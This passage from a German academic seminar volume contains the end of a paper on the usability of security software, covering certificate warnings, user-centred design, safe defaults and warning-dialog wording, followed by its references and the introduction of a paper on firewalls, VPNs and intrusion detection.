Line Interfaces) normal, da die Benutzer nicht anders erwarten. Dummerweise haben die GUI-
Entwickler die Komandozeile-Version genommen und fast 1-zu-1 auf die graphische Version
abgebildet (Abbildung|3).

3.2 Warum treten solche Probleme haufig auf?

So viele Probleme fiir die Benutzer. Woran liegt das? Um die richtigen Antworten zu geben,
miissen die Benutzer, die Software und die Programmierer analysiert werden.

3.2.1 Die Benutzer

Jerome Saltzer und Michael Schroeder entdeckten im Jahr 1975 ein niitzliches Prinzip, das
die Aussage iiber das Verhalten der Benutzer macht: das Prinzip der psychologischen Ak-
zeptierbarkeit (,, The Principle of Psychological Acceptability [SaSc75]). Das Prinzip besagt,
dass die Nutzer-Schnittstelle entworfen werden soll, so einfach wie moglich zu sein. Falls der
Nutzer den Sicherheitsmechanismus anwenden muss, und dessen Vorgang zu seiner Vorstel-
lung passt, macht er wenige Fehler, ansonsten macht er viele Fehler. Falls sich ein Nutzer
sehr viele Passworter merken muss, schreibt er sie lieber auf einen Zettel oder er denkt sich
nur einfache Passworter aus. Der Nutzer macht Fehler, da er versucht, die Schwierigkeit zu
umgehen.

AuBerdem kennt der Benutzer nicht die Gefahren, die auftreten kénnen. Man erwartet nicht,
dass beim Einloggen ein Angreifer versucht, das eigene Passwort zu knacken oder abzuhdo-
ren und abzulesen. Viele wissen nicht, dass wenn man ein Online-Banking-Portal mit einem
falschem Zertifikat nutzt, es dazu fithren kann, dass Kriminellen sein Geld stehlen. Die Un-
wissenheit ist also ein grofies Problem.

Security Alert x|

1\ Information you exchange with this site cannot be viewed or
@ changed by others. However, there is a problem with the site's
security certificate.

& The security certificate was issued by a company you have
not chosen to trust. Yiew the certificate to determine whether
you want to trust the certifying authority.

o The security certificate date is valid.

/N The name on the security certificate is invalid or does not
match the name of the site

Do you want to proceed?

Yes I L _No

| View Certificate l

Abbildung 4: Die Zertifikatswarnung des IE bringt nicht viele: Sie packt zu viele Informatio-
nen mit unzureichenden Erkldrungen in ein Fenster

Das klassische Paper [WhTy99] triigt dazu bei, die genannten Probleme zu begriinden: Sicher-
heit ist fiir die Nutzer nur das zweite Interesse. Sie stellt eine Kommunikationsverbindung her,
um zu surfen, zu shoppen, Geld zu {iberweisen, nicht irgendein Zertifikat zu iiberpriifen. Dies
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hat eine Folge: Falls das Sicherheitssystem ihnen keine gewisse Benutzbarkeit anbietet, wer-
den sie auch nicht auf die Sicherheit achten. Der Humanfaktor zéhlt immer als der ,,weakest
link* im Sicherheitssystem. Deswegen sollen die passenden Losungen dazu gegeben werden.

Fiir die Nutzer, die gut iiber das Thema Sicherheit informiert sind, entstehen noch andere
Schwierigkeiten: Meldungsflut. Bombadieren so viele Fehler- und Warnungsmeldungen den
Nutzer, will er alles einfach schlieen. Der Nutzer ist iiberreizt. Es ist nicht mehr wichtig fiir
ihn, ob die Meldung ein falsches Zertifikat oder nur einen Javasript-Fehler anzeigt. Dies ist
nochmals eine Hiirde fiir den Einsatz von Sicherheit. Abbildungl4 zeigt eine Zertifikatswarnung
des IE, die dem Nutzer bei Entscheidungen nicht viel hifit.

3.2.2 Die Software und die Entwickler

Auf der Seite der Softwareentwickler gibt es andere Probleme. Die Sicherheit ist nicht das
wichtigste fiir den Programmierer. Er plant die Sicherheit oft nicht am Anfang ein, sondern
fligt sie spéter zu der Software hinzu. Ein Programm ist sicher, wenn alles, was nicht passieren
soll, wirklich nicht passiert. Abbildung[5 verdeutlicht diese Situation.

Internet Explorer x|

L7 “When you send information to the Internet, it might be
’j’t{ possible for others to see that information. Do you want
to continue?

V¥ In the future, do not show this message.

Mo I

Abbildung 5: Die Default-Funktionalitit des IE fiithrt zu einem Problem: die Daten werden
nicht verschliisselt trotzdem verschickt.

Benutzbarkeit hat in der Sicherheits-Community nur die zweite Prioritét: in der ersten Linie
ist die technische Sicherheit zu berticksichtigen. Die Studie in [WhTy99] iiber das kommerzielle
Tool PGP 5.0 zeigt, wie aufwendig es ist, es zu benutzen. Ein solcher Sicherheitssoftware-
Entwurf, der die zentrale Rolle der Benutzer nicht oder nicht richtig berticksichtigt, gehort
zu der theoretisch perfekten Sicherheit. Mit anderen Worten weicht die Sicherheit solcher
Applikationen oft erheblich von der effektiven ab. Theoretisch sind PKI und Chipkarten
die perfekte Wahl zur Authentifizierung. Dummerweise sind beide Techniken so miihsam
im praktischen Einsatz, dass sie kaum jemand verwendet. Ihre effektive Auswirkung auf die
Sicherheit ist damit viel geringer als die herkémmlichen Benutzernamen und Passworter. Das
Problem liegt daran, dass Sicherheitsexperten sich gern auf die theoretisch htéchste Sicherheit
konzentrieren. Hier ist etwas abzuindern: Benutzbarkeit sollte zu den Anforderungen der
Sicherheitsrichtlinie gehoren.

Die graphische Benutzer-Schnittstelle (GUI) muss auch die Verantwortung fiir die Benutz-
barkeit iibernehmen. Viele wichtige Sicherheitswarnungen kénnen die Nutzer schliefen oder
den Default-Knopf klicken, was zu schédlichen Konsequenzen fiihrt. Ein Beispiel ist, dass der
Benutzer in vielen Browsern sdmtliche Sicherheitsfeatures abschalten kann, was wenig sinn-
voll ist. Es fehlt ein negatives Pflichtenheft, um festzustellen, was das GUI dem Nutzer auf
keinen Fall ermdglichen darf. Abbildungl6 ist ein sehr gutes Beispiel.
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Smart Card or other Certificate Properties @@

When connecting:
(O Use my smart card
(®) Use a certificate on this computer
Use simple certficate selection (Recommended)

[V]iValidate server certficate:

Connect to these servers:

Trusted Root Cedification Authorities:

[[] ABA.ECOM Root CA A~
[] Autoridad Cerficadora de la Asociacion Nacional del Notarat—
[] Autoridad Cerificadora del Colegio Nacional de Comeduria Pu
[] Battimore EZ by DST

[[] Belgacom E-Trust Primary CA

[[] C&wW HKT SecureNet CA Class A

[[] C&W HKT SecureNet CA Class B

[[] C&w HKT SecureNet CA Root v
£ I | =

[[] Us= 3 diferent user name for the connection

[ ok [ cancel |

Abbildung 6: Ein gefahrliches GUI-Design: Die zugrundeliegenden Sicherheitsfunktionen kon-
nen per Option abgeschaltet werden [GutmO06¢].

4 Losungsansdtze

Die oberen Abschnitte nennen viele SicherheitsProbleme und Griinde fiir dies. Um die richti-
gen Losungen zu finden, muss man zu erst die Anforderungen an die Benutzbarkeit festlegen.
WhTy99] empfiehlt vier Anforderungen:

e Das System muss den Nutzer darauf hinweisen, welche Sicherheitsaufgaben er erledigen
muss,

e Und wie der Nutzer die Aufgaben erledigen kann.

e Das System ermoglicht dem Nutzer nicht, gefdhrliche Fehler zu machen.

e Die GUI verfiigt iiber eine gewisse Benutzbarkeit, damit der Anwender einfach mit deren

umgehen kann.

Diese vier Anforderungen sind die Grundlagen fiir die folgenden Losungsansétze.

4.1 Benutzer sind keine Feinde

Sicherheit und Benutzbarkeit werden oft als Konkurrenten gesehen. Sicherheitsexperten nei-
gen dazu, die Sicherheitsmechanismen moglichst nicht bekanntzugeben, da diese Information
den Nutzern und gleichzeitig den Angreifern hilft. Anne Adams und Martina Angela Sasse
haben in [AdSa99] das ,need-to-know“-Prinzip aus dem Militér verdeutlicht: je mehr man vom
Sicherheitsmechanismus weif}, desto einfacher ist es, das System anzugreifen. Das heifit, mehr
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Begrenzung auf diese Information bedeutet bessere Sicherheit. Es mangelt den Nutzern an
Sicherheitswissen. Das ist sicherlich ein falscher Ansatz. Wenn der Nutzer nur geringes Wissen
von Sicherheit hat, kann er mehr Fehler machen, und dadurch verursacht er Sicherheitsliicken.

[SaF105] betont die Rolle der Benutzer in der Sicherheit. Die Benutzer wihlen immer den
einfachsten Weg. Deswegen ist es notwendig, durch Training und Erziehung sie darauf hin-
zuweisen, warum Sicherheit und sichere Kommunikation wichtig sind. Dadurch werden sie
motiviert und iiberzeugt, eine aufwendige aber sichere Kommunikationsverbindung herzustel-
len. Eine positive Sicherheitskultur is noch auszubauen, in der die Wichtigkeit der Sicherheit
richtig geschétzt wird.

4.2 User-centered Design

»User-centerd Design“ (Benutzer als Mittelpunkt des Entwurfs) ist ein wesentlicher Ansatz,
um die Benutzbarkeit zu erhchen. In der Software-Entwicklung wird Sicherheit zu den nicht-
funktionalen Anforderungen gezihlt. Da sie nachtriglich eingefiigt wird, wird ihre Usability
auch nicht beachtet. Um die Benutzbarkeit zu erhéhen, muss Sicherheit ganz am Anfang
eingeplant werden und die Nutzer sollen zu den Beteiligten des Software-Entwurfs gehoren.

Ein klassisches Beispiel fiir Anti-User-centerd-Design ist der PGP 5.0 Fall, der in [WhTy99)
erwihnt wurde. Das Hauptproblem liegt daran, dass Experten ein gleiches Sicherheitswissen-
niveau von den normalen Benutzern erwarten. Dies ist unrealistisch und ein falscher Ansatz.
Es ist offensichtlich die Aufgabe der Entwickler, den Nutzern méchtige gleichzeitig einfach zu
benutzende Funktionen anzubieten. Durch eine gewisse Abstraktion, Automatisierung und
Erwartung der Benutzer wird dieses Ziel erreicht. GUI ist einer der beteiligten Faktoren, die
in ,,user-centerd Design“ beachtet werden sollen. Ein schlecht benutzbares GUI bremst nur
die Motivation der Nutzer, dass sie den Sicherheitsmechanismus in ihre Hauptaufgabe inte-
griert. Mit anderen Worten spielt Sicherheit nur die Hilfsrolle, was die Entwickler wahrnehmen
miissen, damit sie die richtigen Entscheidungen in der Entwurfsphase treffen kénnen:

e Ein Sicherheitsmechanismus muss bereitgestellt werden, um die Hauptaufgaben zu er-
ledigen. Das heif3t, ein Sicherheitstask darf keinen Konflikt mit dem Haupttask verursa-
chen. Der Ablauf vom Sicherheitstask muss in den Haupttask integriert werden, damit
der Sicherheitsmechanismus eine hohere Benutzbarkeit erreicht.

e Es soll fiir die Benutzer klar sein, dass der Sicherheitstask nétig ist. Dadurch werden

sie motiviert und nehmen am Sicherheitstask teil.

[SaF105] empfiehlt noch ein Verfahren, damit ein sicheres benutzbares System erzielt wird.
Die zwei wichtigsten Schritte sind:

e Die Teilnahme aller Beteiligten, u.a. sind Sicherheitsexperte und Benutzer.

e Integration der Sicherheit in die Software-Dokumentation.
Daraus folgt die AEGIS (Appropriate and Effective Guidance for Information Security). AE-
GIS ist eine Software-Technik-Methodologie, um ein sicheres benutzbares Systen zu entwi-
ckeln. Die AEGIS-Methodologie besteht aus 6 Schritten:

1. Sammeln aller Beteiligte in der Entwurfsphase.

2. Identifizieren der wichtigsten Komponenten (Assets) des Systems, u.a. Hardware, Soft-
ware, Mitarbeiter usw.
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3. Modellieren der Assets im Kontext der Operation, das heiflt, der Kontext, in dem die
Assets operieren, laufen oder funktionieren.

4. Feststellen der Sicherheitsanforderungen der Assets.

5. Durchfiihren einer Risiko-Analyse, in der die Verwundbarkeit, die Bedrohung und die
Gefahren des Systems identifiziert werden.

6. Der letzte Schritt ist das Entwerfen der Sicherheit des Systems.

Durch die AEGIS-Methodologie wird das Bewusstsein der Benutzer iiber die Sicherheit des
Systems erhoht. Zusétzlich ist das Wissen von Sicherheit besser zwischen den Nutzern ver-
breitet.

5 Konkrete Losungen

Das Ziel ist ,effektive Abwehr*: Entwickler sollten Sicherheitssoftware entwerfen und im-
plementieren, indem sie sich an den Bediirfnissen und Verhaltensmustern ihrer Anwender

orientieren [GutmO06al.

Im Folgenden werden die Losungen in vier Gruppen besprochen: besseres Design, Passwort-
Losung, Metaphern und Psychologie im Dialog.

5.1 Besseres Design

Die Software-Entwickler sollen ein besseres Design liefern, damit die Nutzer leichter die Si-
cherheit im Alltag verwenden kénnen. Im Folgenden werden konkrete Losungen erwdhnt und
besprochen, um eine hohere Benutzbarkeit der Sicherheitsmechanismen zu erreichen.

5.1.1 Einfachheit und Automatik

Software-Entwickler miissen an vielen Stellen entscheiden, welche Operation automatisch ab-
lduft und welche die Benutzer die Entscheidung treffen diirfen oder miissen. Denn die Benut-
zer versuchen, moglichst monotone Aufgaben zu vermeiden. Je aufwindiger Operationen wie
Verschliisseln oder Signieren verborgen sind, desto besser ist die Benutzbarkeit. Entwickler
miissen sich dazu entscheiden, dass sie auf perfekte Sicherheit verzichten, indem sie viel wie
moglich automatisieren, oder sie akzeptieren, dass die Benutzer die Sicherheitsfunktion nicht
verwenden. Den besten Kompromiss zu finden, ist die Aufgabe der Entwickler.

Ein Beispiel ist die vereinfachte Version von PKI: die Plug-und-Play-PKI [Gutm03]. Mit die-
ser Version ortet ein Klientprogramm selbststéindig einen CA-Server (Certificate Authority
Server) und kommuniziert mit ihm. Der Anwender braucht nur noch einen Namen und ein
Passwort einzutippen. Bei Appliances, also Gerdten ohne Bedienoberfliche, sollte der Her-
steller das Zertifikat vorkonfigurieren.

5.1.2 Bewusste Entscheidung

Automatismen sind aber nicht in jedem Fall die beste Wahl. Die Software muss sicherstellen,
dass die Anwender die wichtigen Sicherheitsentscheidungen ausdriicklich treffen miissen, bevor
das Programm weiterlauft. Das heif3t, eine bewusste Entscheidung des Anwenders ist notig.
Ein Beispiel ist die richtige Beschriftung auf dem Dialogfenster (Abbildung 7).
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Warnung

Achtung! Sie sind im Begriff einen juristisch
= bindenden Vertrag einzugehen, der...

Signieren Ahbrechen J Hilfe |

Abbildung 7: Durch die eindeutige Beschriftung wird dem Nutzer klar, dass er per Klick auf
den linkesten Button eine Signatur ausfithrt [GutmO6a].

5.1.3 Sichere Default-Funktionalitdten

Ein sicheres Programm braucht sinnvolle Defaults-Funktionen und sichere Default-Ablaufe.
Mit anderen Worten muss die am néchsten liegende Option auch die sicherste sein. Usability-
Tests haben gezeigt, dass manche Benutzer in jedem Fenster ,,OK“ anklicken. Entwickler
sollten einen einfachen Test durchfiihren, in dem sie iiberall ,OK“ klicken und dadurch priifen,
ob das Ergebnis immer die sichere Entscheidung war.

5.1.4 Gute Bremsen

Die gefihrliche Antwort soll fiir einige Zeit gesperrt werden, z.B. nicht anklickbarer oder
grau gefarbter Button. Dadurch hat der Nutzer Zeit, die Meldung auf der Dialogbox zu
lesen, bevor er etwas Falsches tut. Der ,OK“-Button braucht einen sichtbaren Countdown,
um die Verwirrung zu vermeiden, dass alles nach der Pause weitergeht. Auflerdem ist es
ebenfalls wichtig, in Sicherheits-Dialogfenstern auf den SchlieBen-Button im Fensterrahmen
zu verzichten.

5.1.5 Die Sprache der Nutzer

Um ein hoheres Verstédndnis der Benutzer zu gewinnen, sollen die Entwickler ihre kiinftigen
Anwender fragen, was die tatséchlich vom Interface erwarten. Dummerweise stellt sich in der
Praxis heraus, dass es viele Formulierungen fiir identische Aufgaben gibt. Deswegen ist es
sinnvoll, eine Liste mit Vorschldgen der Nutzer anzulegen und eine groflere Gruppe abstim-
men zu lassen. Eine Studie zeigte, dass Benutzer mit GUIs, die aus solchen Abstimmungen
entstanden sind, zwei- bis fiinfmal weniger Fehler machen als bei herkémmlichen GUIs mit
technischer Terminologie.

5.1.6 Activity-Based Planning

Von Microsoft stammt der Name ,, Activity-Based Planning®. Das Designprinzip besagt, dass
eine Liste von Aufgaben zusammenzustellen ist, die der Anwender erledigen will, und baut die
GUI dann passend zu diesen Abldufen. Herkdmmliche GUIs verfiigen dagegen iiber atomare
Operationen und erwarten, dass der Benutzer die wichtigen Stellen selbst findet. Das Ergebnis
des Designs sind nur uniibersichtliche Meniis und unverstandliche Dialoge.

Fine weitere Lehre daraus: Statt das Vokabular der Security-Experten zu verwenden, muss
Software Sicherheitsaufgaben mit den Worten prisentieren, in denen der Anwender denkt und
die er versteht. Dadurch kénnen die Anwender verstehen, was sie gerade machen, und wer-
den die vorhandenen Sicherheitsfeatures auch nutzen. Aktivitidtsorientierte Designs sind eine
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X Schiiissel erzeugen - Schritt 1 von 2

Um sicher mit Anderen zu kommunizieren,
miissen Sie einen Verschliisselungsschlissel
erzeugen. Die Daten in diesem Schllissel
weisen aus, dass er dem Benutzer »Hans
Beispiel« mit der E-Mail- Adresse
»hans@sample.com« gehdrt.

Wenn Sie diese Einstellungen des Schliissels
Zndern wollen, klicken Sie auf »Daten dndem,
andernfalls auf »Schliissel erzeugenx.

Schliissel erzeugen Daten @ndem | Abbrechen

Abbildung 8: Die GUI hiflt dem Nutzer dabei, einen Key zu erzeugen. Er orientiert sich an
den Zielen des Anwenders [GutmO6b].

Strategie zu planen, damit die Aufgabenstellung der meisten Anwender abgedeckt werden
miissen. Im Gegenteil zwingen schlecht formulierte Aufgaben den Nutzer , den Programm-
entwurf zu analysieren und zu raten, welcher Knopf zum Ziel fithrt. Abbildung 8| zeigt ein
gutes GUI-Design.

5.1.7 Optische Hilfen

Die Hintergrundfarbe oder den Rahmen eines Objekts zu &ndern, das der Nutzer gerade
betrachtet, hilft den Nutzern effektiv dabei, wo sie hingucken sollen, um die Sicherheitsin-
formation zu finden. Der Farbwechsel verdeutlicht auch, dass etwas Ungew6hnliches vorgeht.
In einer Usability-Studie verdoppelte sich die Zahl der Nutzer, die ein Sicherheitsproblem
vermieden, durch den gezielten Einsatz von Farbe. Abbildung(9 ist ein gutes Beispiel.

¥ Amazon.com - Your Account - Mozilla Firefox

File Edit Vew Go Bookmarks Tools Help

https:/fwww.amazon.com/ap/cssfhomepage. html ﬂ_'j

Abbildung 9: Neuere Firefox-Versionen zeigen direkt im URL-Feld, dass die Seite SSL-
gesichert und das Zertifikat verifiziert ist. Zusétzlich zum Schloss-Symbol farbt
sich der Hintergrund gelb.

5.1.8 Liicken zeigen

Optische Hilfen konnen auf das Fehlen von Sicherheit hinweisen, auch wenn es schwer ist,
solches Fehlen hervorzuheben. Ein typisches Beispiel sind Eingabefelder fiir Passworter in
Dialogboxen und Webseiten, die Sternchen statt der eingetippten Zeichen zeigen. Das verwirrt
die Benutzer, dass das Passwort geheim bliebe geschiitzt sei. Aber in Wahrheit verhindert es
nur, dass der Sitznachbar das Passwort ablesen kann. Wirkliche Angreifer héren die Daten
auf dem Netzwerk ab, wo sie das Passwort oft genug unverschliisselt vorfinden. Um den
Benutzer nicht im Ungewissen zu lassen, empfiehlt sich ein Erklarungstext, zum Beispiel in
Form eines Tooltipps. Diese Kombination warnt deutlich und gibt dem Nutzer das notige
Hintergrundwissen, um eine fundierte Entscheidung zu féllen.
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5.2 Die herkdbmmliche Passwort-Lésung

Wie in oberen Abschnitten erwihnt wird, ist Passwort-basierter Sicherheitsmechanismus nicht
perfekt sicher aber einfach zu benutzen. Die Applikationen konnen diesen benutzbaren Me-
chanismus verbessern, indem sie Daten durch einen sicheren Tunnel (SSL/TLS oder SSH)
tibertragen statt auf komplexe PKIs zu setzen. Bei ndherer Betrachtung erweisen sich PKlIs
genug nur als umsténdlich ausgefithrter Benutzername-Passwort-Mechanismus: Der Benutzer
tippt Benutzernamen und Passwort ein, um seinen geheimen Schliissel zu dechiffrieren, der
ihn dann im zweiten Schritt authentifiziert.

Um das Problem der unsicheren Geheimworter zu vermeiden, empfehlen sich Protokolle wie
das passwortbasierte TLS-PSK (Transport Layer Security, Pre-Shared Keys [ErTs05]). Es
verzichtet darauf, dem Gegeniiber das Codewort preiszugeben. Ein positiver Nebeneffekt beim
Einsatz von TLS-PSK ist dessen beiderseitige Authentifizierung: nicht nur der Klient muss
sich ausweisen, auch der Server authentifiziert sich gegeniiber dem Klienten. Das funktioniert
ohne den Overhead, die Kosten und die Komplexitét einer PKI.

5.3 Metaphern

Viele Nutzer neigen dazu, Sicherheitsfunktionen abzuschalten, da sie die Schwierigkeiten beim
FEinrichten fiirchten als die Gefahr durch fehlende Sicherheit. Gut gewéhlte Metaphern, die
in [GutmO6b] zahlreich erwihnt werden, helfen diese Zuriickhaltung zu iiberwinden. Jeder
kennt zum Beispiel Schliissel und deren Sicherheitsfunktion im Alltagseinsatz. Schliisseldhn-
liche Gerite eignen sich folglich, um Sicherheitsparameter zwischen Systemen zu iibertragen:
ein USB-Stick etwa. Das WNSK (Windows Network Smart Key) setzt dies sinnvoll in die Pra-
xis um: Windows speichert den WIFI/802.11-Verschliisselungs-Key zusammen mit anderen
Konfigurationsdaten auf einem USB-Medium. Der Benutzer steckt diesen USB-Stick einfach
in die weiteren Geréte seines WLAN, um sie ebenfalls sicher zu konfigurieren. Dadurch gelingt
es, den kompletten Vorgang zu automatisieren, ohne auf Sicherheit zu verzichten.

Die bekannte Schliisselmetapher sorgt dafiir, dass die Nutzer den Mechanismus verstehen und
tatsdchlich einsetzen, was sehr einfach ist. Es gibt zwei konkrete Mafinahmen, in denen die
Schliisselmetapher einsetzbar ist: ,Location-limited Channel“ und , Time-limited Channel®.
Bei dem ,,Location-limited Channel® ist der Kommunikationskanal sicher, weil nur legitime
Benutzer physikalischen Zugang zu den konfigurierten Gerdten haben. Kennt das Bedrohungs-
szenario Angreifer, die iiber das Netzwerk eindringen, dann ist dieser einfache Kanal sicherer
als jeder komplexe Smartcard-, X.509- und CA-Ansatz. Uber das Netz schafft es kein An-
greifer, einen USB-Stick zu belauschen. Bei dem ,, Time-limited Channel* miissen zwei Geréte
ihre Sicherheitsinitialisierung in einer sehr kurzen Zeitspanne abschlieen, beispielsweise in-
dem der Anwender gleichzeitig einen Knopf an beiden Geréiten driickt. Das zu initialisierende
Gerét nimmt an, dass nur erwiinschte Partner in diesem Moment antworten. Dieser Mechanis-
mus kombiniert zeitlich und ortlich limitierte Kanéle, weil der Benutzer den Knopf physisch
driicken muss und weil das gleichzeitig auf zwei Gerédten zu geschehen hat.

5.4 Psychologie im Dialog

Sozialpsychologen haben herausgefunden, dass eine Anfrage mehr Erfolgsaussichten hat, wenn
ihr eine Erkldrung beiliegt. Den Nutzer einfach nur zu fragen, ob er ein ungiiltiges SSL-
Zertifikat akzeptiert, geniigt nicht. Steht im Dialogfenster zusétzlich ,,Das ungiiltige Zertifikat
konnte es Kriminellen erméglichen, Geld von Threm Konto zu stehlen®, dann erhoht sich die
Wahrscheinlichkeit, dass die Benutzer die Situation korrekt beurteilen kénnen. Das ist die
Meinung Gutmanns in [GutmO6b)].



172 Tuan Kiet Bui: Security and Usability

Psychologen haben noch eine interessante Erkenntnis entdeckt: Die Angst, etwas zu verlie-
ren, motiviert die Betroffenen mehr als die Aussicht, etwas zu gewinnen. Der Mechanismus
funktioniert sehr einfach: Wenn ein Arzt seinem Patienten sagt, ,,Falls Sie das Rauchen nicht
aufgeben, haben Sie fiinf Jahre weniger zu leben“, dann erreicht er damit mehr als mit der po-
sitiven Formulierung ,Wenn Sie das Rauchen aufgeben, haben Sie fiinf Jahre mehr zu leben*.
Nutzer denken intensiver nach, wenn das Programm ihnen eine Frage stellt, als wenn es nur
eine Zusage erwartet. ,Etwas ist schief gelaufen. Wollen Sie fortfahren?“ ist daher weniger
effektiv als ,Wollen Sie sich mit der Website verbinden, obwohl dies Kriminellen erlauben
konnte, Geld von IThrem Konto zu stehlen?¢

Auflerdem hilft noch soziale Bestéitigung den Nutzern bei der Entscheidung. Etwa bei einer
sicherheitsrelevanten Frage: ,,Fiir die meisten Anwender ist XYZ die beste Wahl“, wobei XYZ
die sicherste und sinnvollsten Variante ist. Selbst wenn spéter einmal dieser Hinweis in einem
anderen Programm fehlt, wissen die Anwender, welche Entscheidung sie treffen sollten.



Literatur

173

Literatur

[AdSa99]

[Bish05]

[DiRe06]

[ErTs05]

[Gutm03]

[Gutm06a)]

[GutmO6b]

[GutmO06c]

[HoSa06]

[Reed03]

[SaF105]

[SaHo05]

[SANS07]

[SaSc75]

[WhTy99]

[ZiWa06)

Anne Adams und Martina Angela Sasse. Users Are Not the Enemy.
Communications of the ACM 42(12), 1999, S. 40-46.

Matt Bishop. Psychological Acceptability Revisited, Band Security and Usability,
Kapitel 1, S. 1-12. O’Reilly. 2005.

T. Dierks und E. Rescorla. The Transport Layer Security (TLS) Protocol
Version 1.1. RFC 4346 (Proposed Standard), April 2006. Updated by RFCs
4366, 4680, 4681.

P. Eronen und H. Tschofenig. Pre-Shared Key Ciphersuites for Transport Layer
Security (TLS). RFC 4279 (Proposed Standard), Dezember 2005.

Peter Gutmann. Plug-and-play PKI: a PKI your mother can use. In SSYM’03:
Proceedings of the 12th conference on USENIX Security Symposium, Berkeley,
CA, USA, 2003. USENIX Association, S. 4—4.

Peter Gutmann. Benutzbarkeit von Sicherheitssoftware in der Kritik: Effektive
Abwehr. Linux-Magazin, 03 2006.

Peter Gutmann. Benutzbarkeit von Sicherheitssoftware in der Kritik: Klartext.
Linux-Magazin, 04 2006.

Peter Gutmann. Benutzbarkeit von Sicherheitssoftware in der Kritik: Nur fiir
Spezialisten. Linux-Magazin, 02 2006.

R. Housley und S. Santesson. Update to DirectoryString Processing in the
Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation
List (CRL) Profile. RFC 4630 (Proposed Standard), August 2006.

Damon Reed. Applying the OSI Seven Layer Network Model To Information
Security. Practical GSEC 3436, SANS GIAC GSEC Practical Assignment,
SANS Institute, November 2003.

M. Angela Sasse und Ivan Flechais. Why Do We Need It, How Do We Get It?,
Band Security and Usability, Kapitel 2. O’Reilly. 2005.

S. Santesson und R. Housley. Internet X.509 Public Key Infrastructure
Authority Information Access Certificate Revocation List (CRL) Extension.
RFC 4325 (Proposed Standard), Dezember 2005.

SANS. SANS Top-20 2007 Security Risks (2007 Annual Update). Online:
https://www2.sans.org/top20/, 2007.

Jerome Saltzer und Michael Schroeder. The Protection of Information in
Computer Systems. In Proceedings of the IEFE, Band 69, 1975, S. 1278 — 1308.

Alma Whitten und J. D. Tygar. Why Johnny can’t encrypt: A usability
evaluation of PGP 5.0. In 8th USENIX Security Symposium, 1999.

Prof. Martina Zitterbart und Uwe Walter. Kommunikation und Datenhaltung —
Geschichtete Architekturen. Vorlesung, 2006.


https://www2.sans.org/top20/

174 Tuan Kiet Bui: Security and Usability

Abbildungsverzeichnis

1 ISO/OSI 7 Schichten-Modell [ZiWa06]. . . . . . . . .. ... ... ... .... 160
2 Ein Beispiel der Zertifikatswarnung auf einer Webseite |GutmO6e¢]. . . . . . . 163

3 KGPG dient als grafisches Frontend zu GPG. Leider orientiert sich die Ober-
fliche viel zu sehr am Kommandozeilen-Original [GutmO6b]. . . . . . . . . .. 163

4 Die Zertifikatswarnung des IE bringt nicht viele: Sie packt zu viele Informatio-
nen mit unzureichenden Erklarungen in ein Fenster . . . . . . . .. .. .. .. 164

5 Die Default-Funktionalitiat des IE fithrt zu einem Problem: die Daten werden

nicht verschliisselt trotzdem verschickt. . . . . . . . . . . . .. ... ... ... 165

6 Ein gefihrliches GUI-Design: Die zugrundeliegenden Sicherheitsfunktionen
koénnen per Option abgeschaltet werden [GutmO6¢|. . . . . . . . . .. ... .. 166

7 Durch die eindeutige Beschriftung wird dem Nutzer klar, dass er per Klick auf
den linkesten Button eine Signatur ausfiihrt |GutmO6al. . . . . . .. ... .. 169

8 Die GUI hiflt dem Nutzer dabei, einen Key zu erzeugen. Er orientiert sich an
den Zielen des Anwenders [GutmO6b]. . . . . ... ..o Lo 170

9 Neuere Firefox-Versionen zeigen direkt im URL-Feld, dass die Seite SSL-
gesichert und das Zertifikat verifiziert ist. Zusétzlich zum Schloss-Symbol farbt
sich der Hintergrund gelb. . . . . . . . . . .. .. ..o o 170



Network Hardening: Firewalls, VPNs und IDS

Sven Krohlas

Angriffe auf Rechnernetze stellen seit vielen Jahren ein Problem dar, und dies
sowohl fiir private Anwender, als auch fiir Unternehmen und Regierungen. Be-
reits im November 1988 legte ein Wurm weite Teile des Internets lahm[Spaf89],
doch noch bis heute gibt es erfolgreiche Angriffe. So gab es erst vor wenigen
Monaten Versuche, von China aus in Rechner der deutschen Bundesregierung
einzudringen|Bund07], sowie Warnungen des Verfassungsschutzes vor Praktikan-
ten, die zur Wirtschaftsspionage eingesetzt werden[tage07].

Diese wenigen Beispiele zeigen bereits die Vielfiltigkeit der moglichen Angriffe.
Sie reichen von Social Engineering, iiber die Finschleusung von Insidern, bis hin
zu klassischen Attacken von auflen, meist iiber das Internet. Es lassen sich also
grob zwei Arten unterscheiden: Angriffe von innerhalb des Netzes und Angriffe
von entfernten Rechnern aus. Letzte wiederum lassen sich aufteilen in gezielte
Angriffe auf ein bestimmtes Ziel, und welche, die ihre Opfer “zufillig” auswéhlen,
beispielsweise durch automatische Systeme wie Wiirmer.

Der Schwerpunkt liegt im Folgenden insbesondere auf Angriffe von auflerhalb des
zu schiitzenden Netzes, Angriffe von innerhalb werden nur kurz im Rahmen der
Intrusion Detection angeschnitten und auf das oft weniger technische Social En-
gineering wird garnicht eingegangen. Zu letzterem sei auf Kevin Mitnicks Buch
“Die Kunst der TAuschung®[uWil02] verwiesen.

1 Einleitung

Rechnernetze und die Nutzung des Internets sind aus der heutigen Welt kaum mehr wegzu-
denken. Nahezu jede Privatperson, jede Firma oder Behorde ist heutzutage vernetzt. Diese
Rechnerumgebungen sind natiirlich auch fiir Angreifer besonders interessant geworden. Frii-
her war es undenkbar, aus der Ferne an Regierungsdokumente oder Konstruktionsplédne der
Konkurrenzfirma zu kommen. Man musste einen groflen Aufwand betreiben, beispielsweise
Insider einschleusen, Mitarbeiter bestechen, oder sogar in Geb&ude eindringen. Heutzutage
kann man wohl mit recht grofler Sicherheit sagen, dass derartige Vorgehensweisen tendenziell
zweite Wahl sind. In diesen Tagen traumt der Angreifer vom virtuellen Einbruch.

Diesen Uberlegungen wird nun im Folgenden die Vorstellung eines “sicheren” Netzwerkes
entgegengesetzt, wobei nie vergessen werden sollte, dass Sicherheit ein Prozess ist, an dem
stetig gearbeitet werden muss, und eben kein Produkt, das man einmal einrichtet und dann
dauerhaft funktioniert.

Die folgenden drei Kapitel werden anhand {iblicher Szenarien die Moglichkeiten eines Angrei-
fers beleuchten und Gegenmafinahmen vorstellen. Das erste Kapitel beginnt mit dem Konzept
der Firewall: mit ihr kénnen nach Kriterien wie Adresse und Zieldienst einzelne ankommende
oder abgehende Datenpakete entweder weitergeleitet oder verworfen werden, falls sie uner-
wiinscht erscheinen. Danach werden virtuelle, private Netze betrachtet, mit deren Hilfe weit
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entfernte Rechner zu einem Netzwerk zusammengeschlossen werden. Diese kénnen somit un-
